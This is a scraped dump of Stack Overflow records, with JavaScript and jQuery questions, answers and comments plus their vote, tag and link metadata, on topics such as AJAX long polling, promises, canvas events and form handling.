type: AnswerComment
comment on: http://stackoverflow.com/a/25642138

http://stackoverflow.com/q/25637291
tagged with: javascript
type: Question
has comment: http://stackoverflow.com/comment/40056822
linked to: http://stackoverflow.com/q/3349380
has comment: http://stackoverflow.com/comment/40056851
accepted answer: http://stackoverflow.com/a/25637808
answer count: 3
linked to: http://stackoverflow.com/q/111102
downvote count: 0
tagged with: jquery
favorite count: 0
tagged with: ajax
linked to: http://stackoverflow.com/q/5316697
has comment: http://stackoverflow.com/comment/40057076
has comment: http://stackoverflow.com/comment/40057268
has comment: http://stackoverflow.com/comment/40056652
possible better answer: http://stackoverflow.com/a/25637724
score: 2
has answer: http://stackoverflow.com/a/25637724
upvote count: 2
has body: I am recently working on small chat module , which require continuously checking the server for new message. I am sending a ajax request to a server , and the server hold's the connection until new message is found(long polling). Code : var chatController = function(){ //other variable declaration /** * Ajax call to monitor the new message , on complete of ajax call sending other call */ this.checkNewMessage = function(){ console.log(this); // placed this for debugging purpose $.ajax({ url : SITEURL.CHECK_MESSAGE, data : this.currrentUserDetails, dataType : 'json' , cache : false, success :(function(obj){ //temp = obj; return obj.parseNewMessageResponse; })(this), complete: (function(obj){ //temp = obj; return obj.checkNewMessage; })(this), }); }; // other function and variable }); When i tried to call var mainController = new chatController(); mainController.checkNewMessage(); Problem What i thought was that i would be able to send continuous single request to server, but to my surprise I only could send 2 ajax request one after the other. My Debugging When i tried to debug , i traced out that for the first call this object being passed points to the chatController complete: (function(obj){ return obj.checkNewMessage; })(this), // this here point to chatController object For the second time this object being passed points to the ajax object complete: (function(obj){ return obj.checkNewMessage; })(this), // this here point to ajax object I am using JavaScript closure to pass the chatController object to complete parameter of jquery So what i want is way to pass parameter to jQuery complete function so that it's point to my original reference
has comment: http://stackoverflow.com/comment/40056640
type: AnsweredQuestion
has title: passing object to callback function in jquery
has answer: http://stackoverflow.com/a/25637808
has answer: http://stackoverflow.com/a/25637536

http://stackoverflow.com/comment/40045526
score: 0
type: Comment
type: QuestionComment
has text: @adeneo Never knew that about addClass. I tested that to be true, but is there any documentation of this fact? The JQuery documentation makes no mention of this (though I suppose it might be implied).
comment on: http://stackoverflow.com/q/25629340

http://stackoverflow.com/q/25704636
score: 0
answer count: 1
tagged with: javascript
tagged with: jquery
has title: Dynamically generate select options from array of objects in jQuery
has answer: http://stackoverflow.com/a/25705365
type: UnansweredQuestion
tagged with: select
tagged with: each
type: Question
has body: I'm trying to teach myself Javascript &amp; jquery so am very new &amp; bit rubbish so far. Im working on a little project in which I want to create a select list with the values created dynamically from an array of objects. This is a snippet of my objects:- function to(name, seedGroup, seed, number) { this.name = name; this.seedGroup = seedGroup; this.seed = seed; } var austria = new to("Austria", 3, 0); var belgium = new to("Belgium", 1, 1); var bosnia = new to("Bosnia &amp; Herzogovinia", 2, 2); var bulgaria = new to("Bulgaria", 4, 3); I want the value to be the object &amp; the text to be the object.name. I have tried many different ways to achieve this &amp; have tied myslef up in knots. Any help would be appreciated.

http://stackoverflow.com/comment/39991324
has text: More or less, yes. There's nothing preventing the function from returning a value, it's just a question of scope. In other words, what would the async handler be returning a value to? Everything you need to know about comment formatting is [here](http://stackoverflow.com/editing-help#comment-formatting): spoiler - no line breaks :P
type: AnswerComment
comment on: http://stackoverflow.com/a/25600474
type: Comment
score: 0

http://stackoverflow.com/a/25702218
type: Answer
has comment: http://stackoverflow.com/comment/40176298
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/40174683
has comment: http://stackoverflow.com/comment/40174759
downvote count: 0
answers question: http://stackoverflow.com/q/25702127
has body: I know you mention javascript here, but have you considered a CSS3 solution? Transitions provide an easy way of doing this. An example here: http://jsfiddle.net/7eqsy2ug/ may be what you are looking for... You could also try fading the opacity if you want a smoother transition. A JavaScript alternative is: http://rewish.github.io/jquery-bgswitcher/ Code from JS Fiddle using your JS: body { background:#000 no-repeat center center fixed; -webkit-background-size: cover; -moz-background-size: cover; -o-background-size: cover; background-size: cover; -webkit-transition: background 1s ease-in-out; -moz-transition: background 1s ease-in-out; -o-transition: background 1s ease-in-out; -ms-transition: background 1s ease-in-out; transition: background 1s ease-in-out; }

http://stackoverflow.com/comment/39957577
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25582981
has text: Do you want *all* nouns? Or just proper nouns? If you want only proper nouns, [checking if the word starts with a capital](http://stackoverflow.com/questions/3770028/how-to-find-proper-nouns-in-string) may be a not fully perfect but fairly okay solution ...

http://stackoverflow.com/q/25615313
favorite count: 0
has comment: http://stackoverflow.com/comment/40016755
upvote count: 13
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25615425
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/40016818
has comment: http://stackoverflow.com/comment/40016765
has answer: http://stackoverflow.com/a/25616093
has comment: http://stackoverflow.com/comment/40016700
has comment: http://stackoverflow.com/comment/40016861
score: 13
type: Question
has comment: http://stackoverflow.com/comment/40016713
has body: I am having trouble converting a JSON string back to byte array. My byte array was converted to JSON string through JSON.stringify(bytes). If I use JSON.parse to convert the string back to JS, I only get an object, not an array any more. For example in the JS console: &gt; var bytes = new Int32Array([101, 102, 103]); &gt; var s = JSON.stringify(bytes); &gt; s; "{"0":101,"1":102,"2":103}" &gt; var a = JSON.parse(s); &gt; a; Object {0: 101, 1: 102, 2: 103} How can I get the original byte array back?
has answer: http://stackoverflow.com/a/25615425
tagged with: arrays
tagged with: javascript
has comment: http://stackoverflow.com/comment/40016738
has answer: http://stackoverflow.com/a/39955825
answer count: 3
has title: JavaScript convert an array of bytes to JSON and back
downvote count: 0
possible better answer: http://stackoverflow.com/a/25616093

http://stackoverflow.com/comment/39907829
comment on: http://stackoverflow.com/a/25556359
type: Comment
has text: neat..and how do I run a function when scrolling?
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40115975
type: Comment
has text: `Number.MIN_VALUE` is the smallest possible positive decimal number, not the most negative. Try using `-Infinity` in its place.
type: QuestionComment
comment on: http://stackoverflow.com/q/25669998
score: 2

http://stackoverflow.com/a/25614136
type: Answer
has body: .when() takes one or more promises as arguments. You are passing it a timer handle so it will just execute the .then() handler immediately. .when() has no magic ability to discern when something you pass to it is done. You must pass it one or more promises and it monitors when those promises are resolved. Also, you can't return anything from a setTimeout(), but if you resolved a promise inside the setTimeout() you could pass data to the .resolve() method. You could do something like this: var promise = function(val) { var defer = Q.defer(); setTimeout(function() { var newVal = val / 10; defer.resolve({ newVal : newVal, message : 'it just to be a ' + val }); }, 3000); // return the promise return defer.promise; }; Q.when(promise(400)).then(function(obj) { return console.log('jaaaaj !', obj); }, function() { return console.log('rejected...'); }); But, when you only have one promise, you don't even need Q.when(). You could just do this: promise(400).then(function(obj) { return console.log('jaaaaj !', obj); }, function() { return console.log('rejected...'); });
answers question: http://stackoverflow.com/q/25613624
has comment: http://stackoverflow.com/comment/40015624
has comment: http://stackoverflow.com/comment/40048554
has comment: http://stackoverflow.com/comment/40048708
has comment: http://stackoverflow.com/comment/40018103
has comment: http://stackoverflow.com/comment/40015876
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40018185
score: 8
accepted answer of: http://stackoverflow.com/q/25613624
upvote count: 8

http://stackoverflow.com/a/25680530
has body: For finding full path of URL in JavaScript use this location.href
score: 0
answers question: http://stackoverflow.com/q/25680355
type: Answer

http://stackoverflow.com/a/25705300
has comment: http://stackoverflow.com/comment/40180638
has comment: http://stackoverflow.com/comment/40188965
has body: You can do it using jQuery: $(function(){ $('span.pluginButtonLabel').text('my text'); // end put here same for each span you need }) here is a demo. Same functionality using plain JavaScript: document.getElementsByClassName("pluginButtonLabel")[0].innerHTML = "my text";
has comment: http://stackoverflow.com/comment/40186545
score: 0
answers question: http://stackoverflow.com/q/25705231
type: Answer

http://stackoverflow.com/comment/55820754
type: AnswerComment
type: Comment
score: 0
has text: Seems to work well. Any idea why forward and reverse have the same value?
comment on: http://stackoverflow.com/a/25717125

http://stackoverflow.com/a/25681822
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25678159
answers question: http://stackoverflow.com/q/25678159
has body: You can animate following a load or whatever really, the main thing is that the variables are defined somewhere accessible, and the animation is only run after the load. In this particular case, the main error is that you are defining the arm, forearm, bicep variables within the Snap.load function, and then trying to use them in your animation function (which isn't aware of those variables). Couple of options... make arm, forearm, bicep all global variables ( use 'var' at the beginning of your script, if all the relevant bits are in an immediate mode function, it should limit scope which maybe better ). This is probably the simplest. Write your animation with a select... s.select('#forearm').animate({ 'transform': 'r45,320,120' }, 1000, mina.linear, anim2);
type: Answer
has comment: http://stackoverflow.com/comment/40141959
score: 1
upvote count: 1

http://stackoverflow.com/q/25602824
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40007284
has title: Detect mouse click on canvas drawing
tagged with: canvas
has comment: http://stackoverflow.com/comment/40010852
downvote count: 0
favorite count: 0
has body: I currently have a problematic situation - I have a re-sizing canvas (re-sized based on resize event) that has some rectangle being drawn on it, these rectangles has X,Y, WIDTH and HEIGHT properties now... When I resize the canvas everything is good and the shapes are being drawed relatively to the canvas size. The problem is that their X and Y aren't changing, so when I try to use any mouse events to detect if the mouse position is inside a rectangle it doesn't work except for the beggining, so for example - If I initialize everything when the window size is 1024*768 for example so the rectangle X and Y position would be 50 by 50, if I'll click with my mouse on X:50 it will collide and detect it, but, if I'll resize my browser's window to let's say, 689*400 and I'll click on the rectangle it won't work. Does anyone have a solution for this? TL;DR - How can I detect a click on rectangle that has X,Y after re-sizing the window? Canvas resizing - window.addEventListener("resize", function() { self.canvas.fitToBrowser(); }); Kanivas.prototype.fitToBrowser = function() { if (this.canvas.width &lt; window.innerWidth) { this.canvas.width = window.innerWidth; this.cHeight = this.canvas.width; } if (this.canvas.height &lt; window.innerHeight) { this.canvas.height = window.innerHeight; this.cHeight = this.canvas.height; } }; MouseDown handler - this.canvas.addEventListener("mousedown", function(kanivas, event) { console.log(state); self.mouseDownHandler(kanivas, event); }.bind(null, this), false); Kanivas.prototype.mouseDownHandler = function(kanivas, e) { var shape = null; var i = kanivas.shapes.length; while (i--) { shape = kanivas.shapes[i]; if (shape.isInside !== undefined &amp;&amp; shape.isInside(e.clientX, e.clientY)) { shape.mouseDownHandler(); } } }; //Inside the rectangle object this.isInside = function(x, y) { return ((x &gt;= this.x &amp;&amp; x &lt;= this.x + this.width) &amp;&amp; (y &gt;= this.y &amp;&amp; y &lt;= this.y + this.height)); };
has comment: http://stackoverflow.com/comment/39993793
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/39994229
answer count: 0
score: 1
has comment: http://stackoverflow.com/comment/39994490
upvote count: 1

http://stackoverflow.com/comment/106819798
score: 0
type: AnswerComment
type: Comment
has text: this works for me // var abc = 'somepath?someParam=[[${fromController}]]' ; //
comment on: http://stackoverflow.com/a/25688291

http://stackoverflow.com/a/25616303
answers question: http://stackoverflow.com/q/25616253
has body: 0"> You will see this message only when 'myValues' has at least one member. You need to bind this with applybindings:
accepted answer of: http://stackoverflow.com/q/25616253
upvote count: 1
score: 1
type: AcceptedAnswer
downvote count: 0
type: Answer

http://stackoverflow.com/comment/47221309
type: AnswerComment
has text: Thanks a lot! Best way is to use ac_quicktime.js and the tag in order to keep the compatibily with IE I think.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/25613675

http://stackoverflow.com/q/25679434
has comment: http://stackoverflow.com/comment/40166706
has comment: http://stackoverflow.com/comment/40135707
type: Question
has comment: http://stackoverflow.com/comment/40139784
has answer: http://stackoverflow.com/a/25680679
has body: I am trying to make a Tic-Tac-Toe with Javascript. I used a method to compare the current input with the winning combination. 1)How to determine player 1 and player 2 input ? 2)i can compare 3 , but i can't figure out the 4th click for each player. Kindly Advise. var check = [[0,0,0],[0,0,0]]; //check[0] for player 1 , check[1] for player 2 , but i can't figure out how to increase the counter for each player on each click. function playercol(ideal) //main { var idname = "box"+idval; var currentcount = (playercount%2); if( currentcount == 0 ) { document.getElementById(idname).innerHTML="O"; } else { document.getElementById(idname).innerHTML="X"; } document.getElementById("player").innerHTML="Player "+((playercount%2)+1); checkwin(check,0);//to check //0 is the current player index playercount++; } My Fiddle http://jsfiddle.net/1br5LLrj/3/
has answer: http://stackoverflow.com/a/25681128
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/40146821
has title: Tic Tac Toe with Javascript stuck
tagged with: javascript
type: UnansweredQuestion

http://stackoverflow.com/comment/40246815
score: 0
comment on: http://stackoverflow.com/q/25688403
has text: @MeanGreen Caps lock is a great way to get a point across. It's like shouting, it always makes you look very smart indeed.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40154395
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25684944
type: AnswerComment
has text: sorry, but i ll try to get you a solution

http://stackoverflow.com/a/25584450
score: 3
downvote count: 0
answers question: http://stackoverflow.com/q/25584259
type: Answer
has comment: http://stackoverflow.com/comment/39962226
upvote count: 3
has body: Well as long as you work with integers, where N is the max child value and N is not so big you will need O(n) space and time I'll answer assuming that you only use integers going from 0 to N, see in USAGE section of my answer why you don't need to specify them by hand when their weight is 0. var weights = [0,4,3,1,1,1]; var number = weights.reduce(function (previous, current, index) { var value = Math.random() * (current|0); if (value &gt; previous[0]) { return [value, index]; } return previous; }, [Math.random() * (weights[0]|0), 0])[0]; Explanation Using indices as integers, we have: 0 with a weight of 0 (it will never appear) 1 with a weight of 4 2 with a weight of 3 3 with a weight of 1 4 with a weight of 1 5 with a weight of 1 Usage As it is not very easy to think in term of range or if you don't want to specify all values until N manually, you can use an object and convert it to an array by specifying a key length equal to N + 1, like this var N = 130, weights = Array.apply(null, { 12: 1, 53: 3, 130: 10, length: N + 1 });

http://stackoverflow.com/comment/39976359
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25592884
has text: You don't have to include the PHP in the new question for its only HTML / Jquery related

http://stackoverflow.com/comment/40234915
has text: I have tried to do that by **htmlForDateTitles += ' ';** but I haven't had any luck. Do you have any suggestions for me?
type: Comment
comment on: http://stackoverflow.com/a/25700702
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40047595
type: QuestionComment
comment on: http://stackoverflow.com/q/25631953
score: 0
type: Comment
has text: The PDF generation script needs to output a header to tell the browser it's a PDF, e.g. `header('Content-type: application/pdf');` - then you render and output the PDF to the browser. This should be testable by accessing your script directly in the browser. Then in JQuery you'll need to get the data and append it to an embed tag or similar for it to be displayed and rendered by the browser's built in PDF handler - some browsers won't have one, and it will be forced to download it regardless of what you do.

http://stackoverflow.com/comment/104673085
comment on: http://stackoverflow.com/a/48067347
has text: Very useful idea - much more so than just choosing random colours. To improve this further, when there is a large number of bars you can adjust the saturation value too, so that instead of just circling round on the colour wheel, you spiral in on it.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40048554
score: 0
has text: Thank You guys. Now it is much clearer for me. Maybe You know some good tutorials about promises worth recommend?
type: Comment
comment on: http://stackoverflow.com/a/25614136
type: AnswerComment

http://stackoverflow.com/a/59478213
has body: 1.) Lets create Marker with unique id... L.marker([marker.lat, marker.lng],{customID:'some ID',title:marker.title}).on('click', this.markerClick).addTo(mymap); 2.) Go to node_modules@types\leaflet\index.d.ts and add customID?:string; export interface MarkerOptions extends InteractiveLayerOptions { icon?: Icon | DivIcon; title?: string; .... autoPanSpeed?: number; customID:string; } 3.) In the same file add customID to LeafletMouseEvent export interface LeafletMouseEvent extends LeafletEvent { latlng: LatLng; layerPoint: Point; containerPoint: Point; originalEvent: MouseEvent; customID:customID } 4.) Create customID class export class customID { constructor(customID: string); customID: number; } 5.) Get your marker id in function markerClick(e){ console.log(e.sourceTarget.options.customID) }
answers question: http://stackoverflow.com/q/25683871
score: 0
type: Answer

http://stackoverflow.com/comment/39908601
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25556850
type: AnswerComment
has text: Your jsperf doesn't include the CSS. Of course, the second code, which has additional instructions, is slower.

http://stackoverflow.com/comment/39936047
has text: Another shot in the dark before I cry "uncle". What if I load Page B into an iframe?
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25551579

http://stackoverflow.com/comment/40031308
type: QuestionComment
comment on: http://stackoverflow.com/q/25623306
score: 2
type: Comment
has text: Scripts that are loaded, before tags are ready, cannot reach those specific tags. I think what you want to accomplish is simply not possible. You need to escape the content before it's loaded in the `pre`s somehow.

http://stackoverflow.com/a/25604110
upvote count: 1
has comment: http://stackoverflow.com/comment/40025441
score: 1
has comment: http://stackoverflow.com/comment/40003150
answers question: http://stackoverflow.com/q/25602929
downvote count: 0
has comment: http://stackoverflow.com/comment/40000349
has comment: http://stackoverflow.com/comment/39999458
has body: The biggest downside to your implementation is the fact that you are switching between position fixed and absolute. This means you cannot make use of CSS animations which can come real handy in your example. Here's a modified version with position relative allowing for use of transitions (I use opacity but you probably want to transition on top which will require a couple of extra lines to offset the scrolling) http://jsfiddle.net/o16bebtu/ It is a neater way of achieving what you want by making the position relative and then making use of getBoundingClientRect which accounts for scrolling position. var nodeScrollTop= ((Math.ceil(rect.top))|0); var nodeTop= (!!(_node.style.top)) ? parseInt(_node.style.top) : 0; var newNodeTop= nodeTop - nodeScrollTop; From MDN, https://developer.mozilla.org/en-US/docs/Web/API/Element.getBoundingClientRect The amount of scrolling that has been done of the viewport area (or any other scrollable element) is taken into account when computing the bounding rectangle. This means that the top and left property change their values as soon as the scrolling position changes (so their values are relative to the viewport and not absolute). If this is not the desired behaviour just add the current scrolling position to the top and left property (via window.scrollX and window.scrollY) to get constant values independent from the current scrolling position.
type: Answer

http://stackoverflow.com/a/25683781
type: Answer
has body: I have rewritten your code on jsFiddle. I hope this will help you to resolve the issue: nodeEnter.append("circle") .attr("r", 30) .style("stroke", "white") .style("stroke-width", 4) .attr("fill", "url(#img)") .on("mouseover", function(d) { circlePos = this.getBoundingClientRect(); div.transition() .duration(500) .style("opacity", .9) .style("left", (circlePos.left + circlePos.width + window.scrollX) + 'px') .style("top", (circlePos.top + window.scrollY) + 'px') .style("position", "absolute") div.html( " " + " " + " " + " " + " " + " " + " " + " " + " " + " " + " " + "" + d.name + "" + " " + d.relationship + "" + " " + " " + " " + " " + "" + "Follow on Facebook" + "" + " " + " " + " " + " " + " " + " " ) }) .on("mouseout", function(d) { div.transition() .duration(500) .style("opacity", 0); }); Code Demo.
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/40143732
has comment: http://stackoverflow.com/comment/40190648
has comment: http://stackoverflow.com/comment/40189147
has comment: http://stackoverflow.com/comment/40185830
accepted answer of: http://stackoverflow.com/q/25683015
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25683015

http://stackoverflow.com/comment/66601576
score: 0
type: Comment
comment on: http://stackoverflow.com/a/39270734
has text: Great ! I could have make working your example ! I'll work on it to achieve what I need ! Thanks !
type: AnswerComment

http://stackoverflow.com/comment/40148399
score: 0
has text: Did you read my answer? It is in there. You need to modify your tooltip.
type: AnswerComment
comment on: http://stackoverflow.com/a/25687156
type: Comment

http://stackoverflow.com/comment/39969246
type: QuestionComment
type: Comment
has text: My goal was to retrieve the desired result in one action.
comment on: http://stackoverflow.com/q/25588829
score: 0

http://stackoverflow.com/comment/40119262
type: Comment
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/25670765
has text: That was it! Thank you! Once I compared the values that solved it.

http://stackoverflow.com/q/25686883
type: Question
accepted answer: http://stackoverflow.com/a/25686964
tagged with: javascript
score: 0
answer count: 1
has title: How make sticky headers for several table headers?
tagged with: jquery
has body: So I have a several tables with several rows and columns. Since the information is huge I want to keep the table headers fixed on top when scrolling. When the one header comes, the previous one will hide and the current one will stay fixed. This is the js code I have so far: function makeTableHeadersSticky(tableId) { var thArr = $(tableId + " th"); var thWidthsArr = []; var calcWidth = 0; $(tableId + " th").each(function(){ calcWidth = $(this).css("width"); thWidthsArr.push(calcWidth); }); var pos = $(tableId).offset(); var thTop = pos.top + "px"; var count = 0; $(tableId + " tr:first-child &gt; th").each(function(){ $(this).css("width", thWidthsArr[count]); count++; }); count = 0; $(tableId + " tr:last-child &gt; td").each(function(){ $(this).css("width", thWidthsArr[count]); count++; }); $(window).scroll(function() { //var firstRow = $(tableId + " tr:first-child").offset(); var lastRow = $(tableId + " tr:last-child").offset(); var w = $(window); //console.log("(first,last): ("+(firstRow.top-w.scrollTop())+","+(lastRow.top-w.scrollTop())+")"); if(($(window).scrollTop() &gt; pos.top) &amp;&amp; (lastRow.top-w.scrollTop() &gt;= 0)) { $(tableId + " tr:first-child").css("position", "fixed"); $(tableId + " tr:first-child").css("top", "0px"); $(tableId + " tr:first-child").css("left", "9px"); } else { $(tableId + " tr:first-child").css("position", "static"); $(tableId + " tr:first-child").css("top", thTop); } }); } makeTableHeadersSticky("#myTable"); If you see on my code I played with the positions of the table and the last row of the table to see where the table is. This way I can set the header position as fixed or static. Here is my jsfiddle
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25686964

http://stackoverflow.com/q/25600705
tagged with: javascript
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25600783
has comment: http://stackoverflow.com/comment/39989984
has comment: http://stackoverflow.com/comment/39990882
has comment: http://stackoverflow.com/comment/39990028
tagged with: jquery
has body: Hi can you please tell me why aleert is display when I am comparing the values a is undefined and b is null .how they are equal ? http://jsfiddle.net/4fmzjhge/ var a var b=null; //value of a alert(a); // alert(b) if(a==b){alert('test');} alert(typeof(a)); alert(typeof(b));
linked to: http://stackoverflow.com/q/5076944
type: Question
duplicate of: http://stackoverflow.com/q/359494
score: 0
has comment: http://stackoverflow.com/comment/39990007
answer count: 1
has title: why alert is display in jquery while comparing the values of two variable?
linked to: http://stackoverflow.com/q/5101948

http://stackoverflow.com/comment/40190311
comment on: http://stackoverflow.com/q/25710827
has text: What do you mean by compare? Maybe you should add some examples.
score: 3
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/39991700
score: 0
comment on: http://stackoverflow.com/q/25562062
type: Comment
type: QuestionComment
has text: Have you tried the solution? Did it work? If not, could you add some comments?

http://stackoverflow.com/comment/40223604
comment on: http://stackoverflow.com/a/25674897
score: 0
type: Comment
has text: http://codepen.io/anon/pen/gkftb - You were never setting 'animating' back to false in the animation complete callback.
type: AnswerComment

http://stackoverflow.com/comment/40101012
has text: `window.open()` return `ref` you can check before open window `var windowObjectReference = window.open(strUrl, strWindowName[, strWindowFeatures]);`
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25661543

http://stackoverflow.com/comment/40138085
score: 2
comment on: http://stackoverflow.com/q/25682379
type: Comment
type: QuestionComment
has text: Two words: `closure effect`. And you actually should set a new timeout each time the previous one is processed; otherwise they all be triggered immediately after each other.

http://stackoverflow.com/a/25663096
upvote count: 1
has comment: http://stackoverflow.com/comment/40109208
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40109163
accepted answer of: http://stackoverflow.com/q/25662217
answers question: http://stackoverflow.com/q/25662217
type: Answer
has body: As I mentioned in comment, avoid using onclick at all. jQuery event handlers are far more flexible (and support multiple event handlers). 1) Inject the fieldname (only, not the jQuery selector) into a data- attribute: InvalidField.prototype.getMessageStructure = function(){ var structure = '&lt;div class="invalidMessage"&gt;&lt;span&gt;' + this._message + '&lt;/span&gt; &lt;button class="inputButton" value="Go To Field" data-field="' + this._field.name + '"/&gt; &lt;/div&gt;'; return structure; }; 2) Use a delegated event handler to get all clicks on inputButtons with less overhead. Extract the field name and do the jQuery where it belongs: $(document).on('click', '.inputButton', function() { var $button = $(this); var field = $button.data('field'); goToFieldFromAlert('input[name="' + field + '"]'); });
downvote count: 0
score: 1

http://stackoverflow.com/a/25653000
accepted answer of: http://stackoverflow.com/q/25652434
has comment: http://stackoverflow.com/comment/40085507
answers question: http://stackoverflow.com/q/25652434
has body: It looks like Kinetic doesn't handle inheritance like you're expecting it to. Kinetic.Node is not actually in the prototype chain of Kinetic.Circle. When Kinetic.Circle is created there is a utility function that simply copies all of the functions from Kinetic.Node.prototype to Kinetic.Circle.prototype. I'm not a Kinetic user, but I think something like this might work. var myMethods = { test: function() { alert(1); } } Kinetic.Util.addMethods(Kinetic.Circle, myMethods); Kinetic.Util.addMethods(Kinetic.Shape, myMethods); Kinetic.Util.addMethods(Kinetic.Node, myMethods); Kinetic.Util.addMethods(Kinetic.Layer, myMethods); Not nearly as clean as simply adding a method to the super's prototype, but I'm sure they have their reasons for doing things this way.
type: AcceptedAnswer
downvote count: 0
upvote count: 2
type: Answer
score: 2

http://stackoverflow.com/q/25570628
has body: I m trying to write on a txt file from a form... the idea is that the user press the register button and that will save on a txt file and go back to the index page. This is my php file: <?php if(!empty($_POST)){ $rut = $_POST['rut']; $dv = $_POST['dv']; $pnom = $_POST['pnom']; $snom = $_POST['snom']; $pape = $_POST['pape']; $mape = $_POST['mape']; $sex = $_POST['sex']; $dir = $_POST['dir']; $comu = $_POST['comu']; $pais = $_POST['pais']; $fono = $_POST['fono']; $movil = $_POST['movil']; $mail = $_POST['mail']; $user = $_POST['user']; $pass = $_POST['pass']; $rpas = $_POST['rpas']; $usuarios = fopen("usuarios.txt", "a"); fwrite($usuarios, $rut); fwrite($usuarios,$dv,";"); fwrite($usuarios,$pnom,";"); fwrite($usuarios,$snom,";"); fwrite($usuarios,$pape,";"); fwrite($usuarios,$mape,";"); fwrite($usuarios,$sex,";"); fwrite($usuarios,$dir,";"); fwrite($usuarios,$comu,";"); fwrite($usuarios,$pais,";"); fwrite($usuarios,$fono,";"); fwrite($usuarios,$movil,";"); fwrite($usuarios,$mail,";"); fwrite($usuarios,$user,";"); fwrite($usuarios,$pass,";"); fwrite($usuarios,$rpas,"\r\n"); fclose($usuarios); } ?> And this is the form html file: E1Formulario FORMULARIO DE INGRESO Rut: 0 1 2 3 4 5 6 7 8 9 K *(Campo Obligatorio) Primer Nombre:* *(Campo Obligatorio) Segundo Nombre: Apellido Paterno: *(Campo Obligatorio) Apellido Materno: Sexo Masculino Femenino *(Campo Obligatorio) Dirección: *(Campo Obligatorio) Comuna: *(Campo Obligatorio) País: *(Campo Obligatorio) Teléfono: *(Campo Obligatorio) Movil: *(Campo Obligatorio) Email: *(Campo Obligatorio) Usuario: *(Campo Obligatorio) Contraseña: *(Campo Obligatorio) Repetir Contraseña: *(Campo Obligatorio) This is the function that submit the form to the php file and then goes to the index html file: function verificar_datos(){ var f = document.formulario; //Validar que el usuario ingrese todos los campos obligatorios if(f.rut.value === ""){ alert("El Rut es un campo obligatorio!"); f.rut.focus(); return 0; } if(revisarRut(f.rut.value.conc…
type: Question
has comment: http://stackoverflow.com/comment/39934992
has comment: http://stackoverflow.com/comment/39934485
has comment: http://stackoverflow.com/comment/39934590
score: 0
has answer: http://stackoverflow.com/a/25570763
answer count: 2
has comment: http://stackoverflow.com/comment/39934495
has comment: http://stackoverflow.com/comment/39934536
tagged with: javascript
has title: fwrite php function not writing
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/39934598
tagged with: php
accepted answer: http://stackoverflow.com/a/25570763
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25570888
has answer: http://stackoverflow.com/a/25570888
has comment: http://stackoverflow.com/comment/39937551

http://stackoverflow.com/q/25626966
tagged with: jquery
tagged with: colorbox
tagged with: ajax
type: AnsweredQuestion
type: Question
tagged with: javascript
has title: jQuery image slide show carousel when using ajax
has body: I've been trying to build an image slide show / carousel using jQuery, and came across colorbox which I thing is really good, and does things the way I want to. I'm stuck with how to build a slide show of images when using the ajax method they have. I have six images per item that i'd like to load from the server, and run as a slideshow / carousel just like you see them when you click on the first link on this page under Elastic Transition. I've succeeded in getting the images to the script using ajax, but i don't end up with a slide show. How can I do this? I currently end up with all the images below each other, and no forward or backward buttons etc. Can you help? HTML Outside HTML (Ajax) ajax.html (pulls images and returns it to the script I just could not figure what to do more. Desired
score: 0
has answer: http://stackoverflow.com/a/25633698
accepted answer: http://stackoverflow.com/a/25633698
answer count: 1

http://stackoverflow.com/comment/40152674
type: Comment
comment on: http://stackoverflow.com/a/25690184
type: AnswerComment
has text: it appears this does not make the initial get fire before to initialize, because if I put a log in the controller, the userService return is coming back as undefined. I need something that would make the data populate before the factory uses them, something like a .then.
score: 0

http://stackoverflow.com/comment/40040066
has text: Thanks..but remember I have other fields on the form, how do I validate the other fields aside the file field?
comment on: http://stackoverflow.com/a/25619957
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/39999480
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25605653
has text: I don't know much about kinetikJS and SignalR but the "increasing opacity" thing makes me think that maybe you're not clearing the canvas on each frame and so the shapes overlap and the opacity increases.
score: 0

http://stackoverflow.com/q/25595464
has comment: http://stackoverflow.com/comment/39980521
answer count: 0
linked to: http://stackoverflow.com/q/17392857
score: 1
has title: Any benefits to having a reference to parent prototype in javascript?
upvote count: 1
